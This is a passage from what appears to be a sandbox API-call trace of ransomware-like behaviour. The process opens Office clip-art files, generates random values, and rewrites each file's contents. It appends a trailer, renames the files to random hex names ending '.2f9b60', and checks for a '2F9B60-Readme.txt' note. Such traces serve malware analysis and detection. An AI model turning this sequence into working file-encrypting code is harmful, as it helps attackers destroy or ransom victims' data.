IoStatusBlock=0x23dcf9b8, FileInformation=0x23dcf9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23dcf9b8, FileInformation=0x23dcf9c8) returned 0x0 [0131.730] NtSetInformationFile (FileHandle=0x1ac4, IoStatusBlock=0x23dcf9b8, FileInformation=0x23dcf9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205084f0) returned 1 [0131.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2520) returned 1 [0131.732] FlushFileBuffers (hFile=0x1ac4) returned 1 [0131.733] CloseHandle (hObject=0x1ac4) returned 1 [0131.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050aad0 [0131.736] wcscpy (in: _Dest=0x2050aad0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.736] wcscat (in: _Dest=0x2050aad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aad0) returned 1 [0131.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509c30) returned 1 Thread: id = 1739 os_tid = 0x1738 [0131.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf")) returned 0x20 [0131.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF", dwFileAttributes=0x20) returned 1 [0131.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1acc [0131.609] GetFileSizeEx (in: hFile=0x1acc, lpFileSize=0x23c3fae0 | out: lpFileSize=0x23c3fae0*=13394) returned 1 [0131.610] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x344e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.610] ReadFile (in: hFile=0x1acc, lpBuffer=0x23c3fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23c3faa8, lpOverlapped=0x0 | out: lpBuffer=0x23c3fa60*, lpNumberOfBytesRead=0x23c3faa8*=0x4, lpOverlapped=0x0) returned 1 [0131.634] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0131.635] NtQuerySystemTime (in: CurrentTime=0x23c3f9a0 | out: CurrentTime=0x23c3f9a0*=132462177368818000) returned 0x0 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x6d50fa55 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x4420e4d6 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x276acb39 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x7ce81115 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x6664c2e3 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x42a9c12c [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x54c6f9ce [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x371ba2c8 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x34743bf7 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x367a85e [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x6e8c1a00 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x7fec8186 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x6c4447d [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x302f48f3 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x2d97a8d1 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x200e8dac [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x5bdde49a [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x339f6823 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x4201e510 [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x6523abd [0131.635] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x344acb23 [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x33ca40e3 [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x3c18ec97 [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x28ffd362 [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x48bbc356 [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x35f49d3a [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x52bdb746 [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x695b63ff [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x1dc508b2 [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x1cb6320e [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0x2b8ac3 [0131.636] RtlRandomEx (in: Seed=0x23c3f990 | out: Seed=0x23c3f990) returned 0xda33d8c [0131.678] ReadFile (in: hFile=0x1acc, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x3452, lpNumberOfBytesRead=0x23c3f990, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x23c3f990*=0x3452, lpOverlapped=0x0) returned 1 [0131.694] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.694] WriteFile (in: hFile=0x1acc, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3452, lpNumberOfBytesWritten=0x23c3f994, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23c3f994*=0x3452, lpOverlapped=0x0) returned 1 [0131.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0131.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0131.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0131.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266930 [0131.702] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.702] WriteFile (in: hFile=0x1acc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23c3fab0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x23c3fab0*=0x10a, lpOverlapped=0x0) returned 1 [0131.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ab0) returned 1 [0131.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0131.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.706] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="a7") returned 2 [0131.706] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="17") returned 2 [0131.706] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="07") returned 2 [0131.706] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="6a") returned 2 [0131.706] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="14") returned 2 [0131.706] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="a6") returned 2 [0131.706] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="79") returned 2 [0131.706] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="6d") returned 2 [0131.706] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="1c") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="d5") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="53") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="86") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="14") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="8f") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="42") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="fd") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="23") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="b1") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="59") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="b0") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="9c") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="72") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="81") returned 2 [0131.707] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="75") returned 2 [0131.707] RtlInitAnsiString (in: DestinationString=0x23c3fb28, SourceString="a717076a14a6796d1cd55386148f42fd23b159b09c728175" | out: DestinationString="a717076a14a6796d1cd55386148f42fd23b159b09c728175") [0131.707] RtlAnsiStringToUnicodeString (in: DestinationString=0x23c3faf8, SourceString="a717076a14a6796d1cd55386148f42fd23b159b09c728175", AllocateDestinationString=1 | out: DestinationString="a717076a14a6796d1cd55386148f42fd23b159b09c728175") returned 0x0 [0131.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1cd0 [0131.708] wcscat (in: _Dest=0x20508450, _Source="a717076a14a6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a717076a14a6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a717076a14a6" [0131.708] wcscat (in: _Dest=0x20508450, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a717076a14a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a717076a14a6.2f9b60" [0131.708] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a717076a14a6.2f9b60", NtPathName=0x23c3fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a717076a14a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b8621a0 [0131.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8621a0) returned 1 [0131.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0131.722] NtQueryInformationFile (in: FileHandle=0x1acc, IoStatusBlock=0x23c3fb38, FileInformation=0x23c3fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23c3fb38, FileInformation=0x23c3fb48) returned 0x0 [0131.722] NtSetInformationFile (FileHandle=0x1acc, IoStatusBlock=0x23c3fb38, FileInformation=0x23c3fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508450) returned 1 [0131.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0131.723] FlushFileBuffers (hFile=0x1acc) returned 1 [0131.726] CloseHandle (hObject=0x1acc) returned 1 [0131.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050abf0 [0131.728] wcscpy (in: _Dest=0x2050abf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.728] wcscat (in: _Dest=0x2050abf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050abf0) returned 1 [0131.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aad0) returned 1 Thread: id = 1740 os_tid = 0x17fc [0131.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf")) returned 0x20 [0131.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF", dwFileAttributes=0x20) returned 1 [0131.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac4 [0131.738] GetFileSizeEx (in: hFile=0x1ac4, lpFileSize=0x23f9f720 | out: lpFileSize=0x23f9f720*=2528) returned 1 [0131.739] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x9dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.739] ReadFile (in: hFile=0x1ac4, lpBuffer=0x23f9f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23f9f6e8, lpOverlapped=0x0 | out: lpBuffer=0x23f9f6a0*, lpNumberOfBytesRead=0x23f9f6e8*=0x4, lpOverlapped=0x0) returned 1 [0131.761] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0131.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.762] NtQuerySystemTime (in: CurrentTime=0x23f9f5e0 | out: CurrentTime=0x23f9f5e0*=132462177370066000) returned 0x0 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0xe09036c [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x3d52d9ca [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x7cf03e0d [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0xbfa23cb [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x53627343 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x7bd85801 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0xdd2a32b [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x4f311afc [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0xe0876a2 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x5dea325b [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x47de13eb [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x49d2b8fe [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x71a0680 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x2123b662 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x2b14cc05 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x1a548527 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x7505a00d [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x18ba6e8e [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x4af2ce91 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x6023471 [0131.762] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0xbfaa744 [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x69e6135d [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x5ae94e7b [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x6753f2d7 [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x6bf42f95 [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x17d97b10 [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x2dc8fee1 [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x58c7772f [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x73086bc [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x121ac8bd [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x691dfe61 [0131.763] RtlRandomEx (in: Seed=0x23f9f5d0 | out: Seed=0x23f9f5d0) returned 0x4ac9cfa0 [0131.785] ReadFile (in: hFile=0x1ac4, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x9e0, lpNumberOfBytesRead=0x23f9f5d0, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x23f9f5d0*=0x9e0, lpOverlapped=0x0) returned 1 [0131.786] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.786] WriteFile (in: hFile=0x1ac4, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x23f9f5d4, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23f9f5d4*=0x9e0, lpOverlapped=0x0) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0131.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0131.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0131.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202669c0 [0131.826] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.826] WriteFile (in: hFile=0x1ac4, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23f9f6f0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x23f9f6f0*=0x10a, lpOverlapped=0x0) returned 1 [0131.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a50) returned 1 [0131.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b10 [0131.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b10) returned 1 [0131.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.860] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="da") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="9e") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="4a") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="e5") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="ef") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="1c") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="db") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="d6") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="d8") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="4c") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="6e") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="55") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="bc") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="a0") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="5d") returned 2 [0131.860] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="f6") returned 2 [0131.861] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="8f") returned 2 [0131.861] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="c9") returned 2 [0131.861] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="2e") returned 2 [0131.861] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="80") returned 2 [0131.861] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="08") returned 2 [0131.861] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="02") returned 2 [0131.861] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="c5") returned 2 [0131.861] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="9e") returned 2 [0131.861] RtlInitAnsiString (in: DestinationString=0x23f9f768, SourceString="da9e4ae5ef1cdbd6d84c6e55bca05df68fc92e800802c59e" | out: DestinationString="da9e4ae5ef1cdbd6d84c6e55bca05df68fc92e800802c59e") [0131.861] RtlAnsiStringToUnicodeString (in: DestinationString=0x23f9f738, SourceString="da9e4ae5ef1cdbd6d84c6e55bca05df68fc92e800802c59e", AllocateDestinationString=1 | out: DestinationString="da9e4ae5ef1cdbd6d84c6e55bca05df68fc92e800802c59e") returned 0x0 [0131.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c19c0 [0131.862] wcscat (in: _Dest=0x4205cbf0, _Source="da9e4ae5ef1c" | out: _Dest="C:\\Program Files\\Microsoft 